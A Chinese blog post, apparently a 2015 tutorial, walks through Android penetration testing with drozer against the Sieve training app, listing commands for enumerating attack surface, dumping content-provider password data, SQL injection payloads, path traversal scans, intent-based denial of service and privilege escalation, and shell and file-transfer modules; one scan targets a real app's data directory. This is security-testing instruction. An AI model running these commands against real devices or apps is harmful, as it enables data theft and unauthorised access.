利用drozer进行android渗透测试 -凯发k8网页登录

blog已经转移至github,大家请访问 http://qaseven.github.io/

利用drozer进行android渗透测试

 一、安装与启动
  1. 安装
  第一步:从http://mwr.to/drozer下载drozer ( installer)
  第二步:在设备中安装agent.apk
  adb install agent.apk
  2. 启动
  第一步:在pc上使用adb进行端口转发,转发到drozer使用的端口31415
  adb forward tcp:31415 tcp:31415
  第二步:在android设备上开启drozer agent
  选择embedded server-enable
  第三步:在pc上开启drozer console
  drozer console connect
  二、步骤
  1.获取包名
  dz> run app.package.list -f sieve
  com.mwr.example.sieve
  2.获取应用的基本信息
  run app.package.info -a com.mwr.example.sieve
  3.确定攻击面
  run app.package.attacksurface com.mwr.example.sieve
  4.activity
  (1)获取activity信息
  run app.activity.info -a com.mwr.example.sieve
  (2)启动activity
  run app.activity.start --component com.mwr.example.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action action] [--category category]
  [--component package component] [--data-uri data_uri]
  [--extra type key value] [--flags flags [flags ...]]
  [--mimetype mimetype]
  5.content provider
  (1)获取content provider信息
  run app.provider.info -a com.mwr.example.sieve
  (2)content providers(数据泄露)
  先获取所有可以访问的uri:
  run scanner.provider.finduris -a com.mwr.example.sieve
  获取各个uri的数据:
  run app.provider.query
  content://com.mwr.example.sieve.dbcontentprovider/passwords/ --vertical
  查询到数据说明存在漏洞
  (3)content providers(注入)
  run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "'"
  run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --selection "'"
  报错则说明存在sql注入。
  列出所有表:
  run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "* from sqlite_master where type='table';--"
  获取某个表(如key)中的数据:
  run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "* from key;--"
  (4)同时检测sql注入和目录遍历
  run scanner.provider.injection -a com.mwr.example.sieve
  run scanner.provider.traversal -a com.mwr.example.sieve
  6 intent组件触发(拒绝服务、权限提升)
  利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
  1.查看暴露的广播组件信息:
  run app.broadcast.info -a com.package.name  获取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.xxx
  2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
  run app.broadcast.send 通过intent发送broadcast receiver
  (1)   空action
  run app.broadcast.send --component 包名 receivername
  run app.broadcast.send --component 包名 receivername
  (2)   空extras
  run app.broadcast.send --action android.intent.action.xxx
  3.尝试权限提升
  权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考intentfuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
  (1)获取service详情
  run app.service.info -a com.mwr.example.sieve
  不使用drozer启动service
  am startservice –n 包名/service名
  (2)权限提升
  run app.service.start --action com.test.vulnerability.send_sms --extra string dest 11111 --extra string text 1111 --extra string op send_sms
  7.文件操作
  列出指定文件路径里全局可写/可读的文件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.xxx
  8.其它模块
  shell.start 在设备上开启一个交互shell
  tools.file.upload / tools.file.download 上传/下载文件到设备
  tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

posted on 2015-03-18 22:06 顺其自然evo 阅读(5830) 评论(0)  编辑  收藏 所属分类: 测试学习专栏android

2015年3月
22232425262728
1234567
891011121314
15161718192021
22232425262728
2930311234

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜

网站地图